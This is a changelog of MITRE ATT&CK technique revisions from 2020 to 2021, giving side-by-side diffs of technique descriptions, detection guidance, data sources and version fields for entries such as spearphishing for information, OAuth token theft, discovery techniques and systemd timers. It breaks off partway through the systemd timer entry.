| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may send spearphis | t | 1 | Adversaries may send spearphishing messages with a malicious |
| > | hing messages with a malicious link to elicit sensitive info | > | link to elicit sensitive information that can be used durin | ||
| > | rmation that can be used during targeting. Spearphishing for | > | g targeting. Spearphishing for information is an attempt to | ||
| > | information is an attempt to trick targets into divulging i | > | trick targets into divulging information, frequently credent | ||
| > | nformation, frequently credentials or other actionable infor | > | ials or other actionable information. Spearphishing for info | ||
| > | mation. Spearphishing for information frequently involves so | > | rmation frequently involves social engineering techniques, s | ||
| > | cial engineering techniques, such as posing as a source with | > | uch as posing as a source with a reason to collect informati | ||
| > | a reason to collect information (ex: [Establish Accounts](h | > | on (ex: [Establish Accounts](https://attack.mitre.org/techni | ||
| > | ttps://attack.mitre.org/techniques/T1585) or [Compromise Acc | > | ques/T1585) or [Compromise Accounts](https://attack.mitre.or | ||
| > | ounts](https://attack.mitre.org/techniques/T1586)) and/or se | > | g/techniques/T1586)) and/or sending multiple, seemingly urge | ||
| > | nding multiple, seemingly urgent messages. All forms of spe | > | nt messages. All forms of spearphishing are electronically | ||
| > | arphishing are electronically delivered social engineering t | > | delivered social engineering targeted at a specific individu | ||
| > | argeted at a specific individual, company, or industry. In t | > | al, company, or industry. In this scenario, the malicious em | ||
| > | his scenario, the malicious emails contain links generally a | > | ails contain links generally accompanied by social engineeri | ||
| > | ccompanied by social engineering text to coax the user to ac | > | ng text to coax the user to actively click or copy and paste | ||
| > | tively click or copy and paste a URL into a browser.(Citatio | > | a URL into a browser.(Citation: TrendMictro Phishing)(Citat | ||
| > | n: TrendMictro Phishing)(Citation: PCMag FakeLogin) The give | > | ion: PCMag FakeLogin) The given website may closely resemble | ||
| > | n website may closely resemble a legitimate site in appearan | > | a legitimate site in appearance and have a URL containing e | ||
| > | ce and have a URL containing elements from the real site. Fr | > | lements from the real site. From the fake website, informati | ||
| > | om the fake website, information is gathered in web forms an | > | on is gathered in web forms and sent to the attacker. Advers | ||
| > | d sent to the attacker. Adversaries may also use information | > | aries may also use information from previous reconnaissance | ||
| > | from previous reconnaissance efforts (ex: [Search Open Webs | > | efforts (ex: [Search Open Websites/Domains](https://attack.m | ||
| > | ites/Domains](https://attack.mitre.org/techniques/T1593) or | > | itre.org/techniques/T1593) or [Search Victim-Owned Websites] | ||
| > | [Search Victim-Owned Websites](https://attack.mitre.org/tech | > | (https://attack.mitre.org/techniques/T1594)) to craft persua | ||
| > | niques/T1594)) to craft persuasive and believable lures. | > | sive and believable lures. | ||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:13:12.752000+00:00 | 2021-04-15 03:42:26.537000+00:00 |
| description | Before compromising a victim, adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. | Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. |
| x_mitre_contributors[2] | Robert Simmons | Robert Simmons, @MalwareUtkonos |
| x_mitre_data_sources[0] | Mail server | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Email gateway | Network Traffic: Network Traffic Content |
| x_mitre_detection | Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed. Also consider enabling DMARC to verify the sender of emails.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites. | Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Philip Winther | |
| x_mitre_data_sources | Network Traffic: Network Traffic Flow |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries can steal user application access tokens as a me | t | 1 | Adversaries can steal user application access tokens as a me |
| > | ans of acquiring credentials to access remote systems and re | > | ans of acquiring credentials to access remote systems and re | ||
| > | sources. This can occur through social engineering and typic | > | sources. This can occur through social engineering and typic | ||
| > | ally requires user action to grant access. Application acce | > | ally requires user action to grant access. Application acce | ||
| > | ss tokens are used to make authorized API requests on behalf | > | ss tokens are used to make authorized API requests on behalf | ||
| > | of a user and are commonly used as a way to access resource | > | of a user and are commonly used as a way to access resource | ||
| > | s in cloud-based applications and software-as-a-service (Saa | > | s in cloud-based applications and software-as-a-service (Saa | ||
| > | S).(Citation: Auth0 - Why You Should Always Use Access Token | > | S).(Citation: Auth0 - Why You Should Always Use Access Token | ||
| > | s to Secure APIs Sept 2019) OAuth is one commonly implemente | > | s to Secure APIs Sept 2019) OAuth is one commonly implemente | ||
| > | d framework that issues tokens to users for access to system | > | d framework that issues tokens to users for access to system | ||
| > | s. An application desiring access to cloud-based services or | > | s. An application desiring access to cloud-based services or | ||
| > | protected APIs can gain entry using OAuth 2.0 through a var | > | protected APIs can gain entry using OAuth 2.0 through a var | ||
| > | iety of authorization protocols. An example commonly-used se | > | iety of authorization protocols. An example commonly-used se | ||
| > | quence is Microsoft's Authorization Code Grant flow.(Citatio | > | quence is Microsoft's Authorization Code Grant flow.(Citatio | ||
| > | n: Microsoft Identity Platform Protocols May 2019)(Citation: | > | n: Microsoft Identity Platform Protocols May 2019)(Citation: | ||
| > | Microsoft - OAuth Code Authorization flow - June 2019) An O | > | Microsoft - OAuth Code Authorization flow - June 2019) An O | ||
| > | Auth access token enables a third-party application to inter | > | Auth access token enables a third-party application to inter | ||
| > | act with resources containing user data in the ways requeste | > | act with resources containing user data in the ways requeste | ||
| > | d by the application without obtaining user credentials. | > | d by the application without obtaining user credentials. | ||
| > | Adversaries can leverage OAuth authorization by constructing | > | Adversaries can leverage OAuth authorization by constructing | ||
| > | a malicious application designed to be granted access to re | > | a malicious application designed to be granted access to re | ||
| > | sources with the target user's OAuth token. The adversary wi | > | sources with the target user's OAuth token. The adversary wi | ||
| > | ll need to complete registration of their application with t | > | ll need to complete registration of their application with t | ||
| > | he authorization server, for example Microsoft Identity Plat | > | he authorization server, for example Microsoft Identity Plat | ||
| > | form using Azure Portal, the Visual Studio IDE, the command- | > | form using Azure Portal, the Visual Studio IDE, the command- | ||
| > | line interface, PowerShell, or REST API calls.(Citation: Mic | > | line interface, PowerShell, or REST API calls.(Citation: Mic | ||
| > | rosoft - Azure AD App Registration - May 2019) Then, they ca | > | rosoft - Azure AD App Registration - May 2019) Then, they ca | ||
| > | n send a link through [Spearphishing Link](https://attack.mi | > | n send a link through [Spearphishing Link](https://attack.mi | ||
| > | tre.org/techniques/T1192) to the target user to entice them | > | tre.org/techniques/T1566/002) to the target user to entice t | ||
| > | to grant access to the application. Once the OAuth access to | > | hem to grant access to the application. Once the OAuth acces | ||
| > | ken is granted, the application can gain potentially long-te | > | s token is granted, the application can gain potentially lon | ||
| > | rm access to features of the user account through [Applicati | > | g-term access to features of the user account through [Appli | ||
| > | on Access Token](https://attack.mitre.org/techniques/T1527). | > | cation Access Token](https://attack.mitre.org/techniques/T15 | ||
| > | (Citation: Microsoft - Azure AD Identity Tokens - Aug 2019) | > | 50/001).(Citation: Microsoft - Azure AD Identity Tokens - Au | ||
| > | Adversaries have been seen targeting Gmail, Microsoft Outlo | > | g 2019) Adversaries have been seen targeting Gmail, Microso | ||
| > | ok, and Yahoo Mail users.(Citation: Amnesty OAuth Phishing A | > | ft Outlook, and Yahoo Mail users.(Citation: Amnesty OAuth Ph | ||
| > | ttacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth | > | ishing Attacks, August 2019)(Citation: Trend Micro Pawn Stor | ||
| > | 2017) | > | m OAuth 2017) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-14 19:16:30.906000+00:00 | 2021-04-14 17:56:17.311000+00:00 |
| description | Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering and typically requires user action to grant access. Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a link through [Spearphishing Link](https://attack.mitre.org/techniques/T1192) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1527).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019) Adversaries have been seen targeting Gmail, Microsoft Outlook, and Yahoo Mail users.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) | Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering and typically requires user action to grant access. Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a link through [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019) Adversaries have been seen targeting Gmail, Microsoft Outlook, and Yahoo Mail users.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) |
| x_mitre_data_sources[0] | Azure activity logs | User Account: User Account Modification |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Google Workspace |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | OAuth audit logs |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:24:20.350000+00:00 | 2021-10-15 16:46:56.760000+00:00 |
| x_mitre_data_sources[0] | Binary file metadata | File: File Metadata |
| x_mitre_detection | Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings are other signatures left in system artifacts related to decoding steganography. | Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings or other signatures left in system artifacts related to decoding steganography. |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:42:26.314000+00:00 | 2021-10-14 21:18:32.225000+00:00 |
| x_mitre_data_sources[0] | Binary file metadata | Windows Registry: Windows Registry Key Creation |
| x_mitre_data_sources[1] | File monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[3] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[4] | API monitoring | File: File Metadata |
| x_mitre_data_sources[5] | Application logs | File: File Modification |
| x_mitre_data_sources[6] | DLL monitoring | Module: Module Load |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Loaded DLLs | |
| x_mitre_data_sources | Windows Registry | |
| x_mitre_data_sources | Windows event logs |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may look for details about the network configura | t | 1 | Adversaries may look for details about the network configura |
| > | tion and settings of systems they access or through informat | > | tion and settings, such as IP and/or MAC addresses, of syste | ||
| > | ion discovery of remote systems. Several operating system ad | > | ms they access or through information discovery of remote sy | ||
| > | ministration utilities exist that can be used to gather this | > | stems. Several operating system administration utilities exi | ||
| > | information. Examples include [Arp](https://attack.mitre.or | > | st that can be used to gather this information. Examples inc | ||
| > | g/software/S0099), [ipconfig](https://attack.mitre.org/softw | > | lude [Arp](https://attack.mitre.org/software/S0099), [ipconf | ||
| > | are/S0100)/[ifconfig](https://attack.mitre.org/software/S010 | > | ig](https://attack.mitre.org/software/S0100)/[ifconfig](http | ||
| > | 1), [nbtstat](https://attack.mitre.org/software/S0102), and | > | s://attack.mitre.org/software/S0101), [nbtstat](https://atta | ||
| > | [route](https://attack.mitre.org/software/S0103). Adversari | > | ck.mitre.org/software/S0102), and [route](https://attack.mit | ||
| > | es may use the information from [System Network Configuratio | > | re.org/software/S0103). Adversaries may use the information | ||
| > | n Discovery](https://attack.mitre.org/techniques/T1016) duri | > | from [System Network Configuration Discovery](https://attac | ||
| > | ng automated discovery to shape follow-on behaviors, includi | > | k.mitre.org/techniques/T1016) during automated discovery to | ||
| > | ng whether or not the adversary fully infects the target and | > | shape follow-on behaviors, including determining certain acc | ||
| > | /or attempts specific actions. | > | ess within the target network and what actions to do next. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-15 00:55:33.136000+00:00 | 2021-10-08 00:17:37.881000+00:00 |
| description | Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103). Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. | Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103). Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Script: Script Execution |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_data_sources | Process: OS API Execution |
Current version: 2.2
Version changed from: 2.1 → 2.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-15 14:15:32.910000+00:00 | 2021-03-08 10:33:01.083000+00:00 |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | IaaS |
| x_mitre_platforms[2] | Windows | Linux |
| x_mitre_platforms[3] | AWS | macOS |
| x_mitre_version | 2.1 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: OS API Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to identify the primary user, curren | t | 1 | Adversaries may attempt to identify the primary user, curren |
| > | tly logged in user, set of users that commonly uses a system | > | tly logged in user, set of users that commonly uses a system | ||
| > | , or whether a user is actively using the system. They may d | > | , or whether a user is actively using the system. They may d | ||
| > | o this, for example, by retrieving account usernames or by u | > | o this, for example, by retrieving account usernames or by u | ||
| > | sing [OS Credential Dumping](https://attack.mitre.org/techni | > | sing [OS Credential Dumping](https://attack.mitre.org/techni | ||
| > | ques/T1003). The information may be collected in a number of | > | ques/T1003). The information may be collected in a number of | ||
| > | different ways using other Discovery techniques, because us | > | different ways using other Discovery techniques, because us | ||
| > | er and username details are prevalent throughout a system an | > | er and username details are prevalent throughout a system an | ||
| > | d include running process ownership, file/directory ownershi | > | d include running process ownership, file/directory ownershi | ||
| > | p, session information, and system logs. Adversaries may use | > | p, session information, and system logs. Adversaries may use | ||
| > | the information from [System Owner/User Discovery](https:// | > | the information from [System Owner/User Discovery](https:// | ||
| > | attack.mitre.org/techniques/T1033) during automated discover | > | attack.mitre.org/techniques/T1033) during automated discover | ||
| > | y to shape follow-on behaviors, including whether or not the | > | y to shape follow-on behaviors, including whether or not the | ||
| > | adversary fully infects the target and/or attempts specific | > | adversary fully infects the target and/or attempts specific | ||
| > | actions. Utilities and commands that acquire this informat | > | actions. Various utilities and commands may acquire this i | ||
| > | ion include <code>whoami</code>. In Mac and Linux, the curre | > | nformation, including <code>whoami</code>. In macOS and Linu | ||
| > | ntly logged in user can be identified with <code>w</code> an | > | x, the currently logged in user can be identified with <code | ||
| > | d <code>who</code>. | > | >w</code> and <code>who</code>. On macOS the <code>dscl . li | ||
| > | st /Users | grep -v '_'</code> command can also be used to e | ||||
| > | numerate user accounts. Environment variables, such as <code | ||||
| > | >%USERNAME%</code> and <code>$USER</code>, may also be used | ||||
| > | to access this information. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-15 01:03:47.866000+00:00 | 2021-08-12 13:34:34.153000+00:00 |
| description | Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Utilities and commands that acquire this information include whoami. In Mac and Linux, the currently logged in user can be identified with w and who. | Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Various utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information. |
| x_mitre_data_sources[0] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-15 01:05:08.805000+00:00 | 2021-10-17 14:10:36.992000+00:00 |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | macOS |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse system services or daemons to execute | t | 1 | Adversaries may abuse system services or daemons to execute |
| > | commands or programs. Adversaries can execute malicious cont | > | commands or programs. Adversaries can execute malicious cont | ||
| > | ent by interacting with or creating services. Many services | > | ent by interacting with or creating services either locally | ||
| > | are set to run at boot, which can aid in achieving persisten | > | or remotely. Many services are set to run at boot, which can | ||
| > | ce ([Create or Modify System Process](https://attack.mitre.o | > | aid in achieving persistence ([Create or Modify System Proc | ||
| > | rg/techniques/T1543)), but adversaries can also abuse servic | > | ess](https://attack.mitre.org/techniques/T1543)), but advers | ||
| > | es for one-time or temporary execution. | > | aries can also abuse services for one-time or temporary exec | ||
| > | ution. | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-08 23:28:29.250000+00:00 | 2021-10-15 18:40:23.888000+00:00 |
| description | Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution. | Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution. |
| x_mitre_data_sources[0] | Windows Registry | Command: Command Execution |
| x_mitre_data_sources[1] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[2] | Process monitoring | Service: Service Creation |
| x_mitre_data_sources[3] | File monitoring | File: File Modification |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Windows Registry: Windows Registry Key Modification |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may gather the system time and/or time zone fro | t | 1 | An adversary may gather the system time and/or time zone fro |
| > | m a local or remote system. The system time is set and store | > | m a local or remote system. The system time is set and store | ||
| > | d by the Windows Time Service within a domain to maintain ti | > | d by the Windows Time Service within a domain to maintain ti | ||
| > | me synchronization between systems and services in an enterp | > | me synchronization between systems and services in an enterp | ||
| > | rise network. (Citation: MSDN System Time) (Citation: Techne | > | rise network. (Citation: MSDN System Time) (Citation: Techne | ||
| > | t Windows Time Service) System time information may be gath | > | t Windows Time Service) System time information may be gath | ||
| > | ered in a number of ways, such as with [Net](https://attack. | > | ered in a number of ways, such as with [Net](https://attack. | ||
| > | mitre.org/software/S0039) on Windows by performing <code>net | > | mitre.org/software/S0039) on Windows by performing <code>net | ||
| > | time \\hostname</code> to gather the system time on a remot | > | time \\hostname</code> to gather the system time on a remot | ||
| > | e system. The victim's time zone may also be inferred from t | > | e system. The victim's time zone may also be inferred from t | ||
| > | he current system time or gathered by using <code>w32tm /tz< | > | he current system time or gathered by using <code>w32tm /tz< | ||
| > | /code>. (Citation: Technet Windows Time Service) The informa | > | /code>. (Citation: Technet Windows Time Service) This infor | ||
| > | tion could be useful for performing other techniques, such a | > | mation could be useful for performing other techniques, such | ||
| > | s executing a file with a [Scheduled Task/Job](https://attac | > | as executing a file with a [Scheduled Task/Job](https://att | ||
| > | k.mitre.org/techniques/T1053) (Citation: RSA EU12 They're In | > | ack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're | ||
| > | side), or to discover locality information based on time zon | > | Inside), or to discover locality information based on time z | ||
| > | e to assist in victim targeting. | > | one to assist in victim targeting (i.e. [System Location Dis | ||
| > | covery](https://attack.mitre.org/techniques/T1614)). Adversa | ||||
| > | ries may also use knowledge of system time as part of a time | ||||
| > | bomb, or delaying execution until a specified date/time.(Ci | ||||
| > | tation: AnyRun TimeBomb) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ["FIRST.ORG's Cyber Threat Intelligence SIG"] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-15 01:07:42.700000+00:00 | 2021-04-22 23:09:24.799000+00:00 |
| description | An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)
System time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting. | An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)
System time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service)
This information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb) |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[2] | API monitoring | Process: OS API Execution |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'AnyRun TimeBomb', 'description': 'Malicious History. (2020, September 17). Time Bombs: Malware With Delayed Execution. Retrieved April 22, 2021.', 'url': 'https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse systemd timers to perform task schedul | t | 1 | Adversaries may abuse systemd timers to perform task schedul |
| > | ing for initial or recurring execution of malicious code. Sy | > | ing for initial or recurring execution of malicious code. Sy | ||
| > | stemd timers are unit files with file extension <code>.timer | > | stemd timers are unit files with file extension <code>.timer | ||
| > | </code> that control services. Timers can be set to run on a | > | </code> that control services. Timers can be set to run on a | ||
| > | calendar event or after a time span relative to a starting | > | calendar event or after a time span relative to a starting | ||
| > | point. They can be used as an alternative to [Cron](https:// | > | point. They can be used as an alternative to [Cron](https:// | ||
| > | attack.mitre.org/techniques/T1053/003) in Linux environments | > | attack.mitre.org/techniques/T1053/003) in Linux environments | ||
| > | .(Citation: archlinux Systemd Timers Aug 2020) Each <code>. | > | .(Citation: archlinux Systemd Timers Aug 2020) Systemd timer | ||
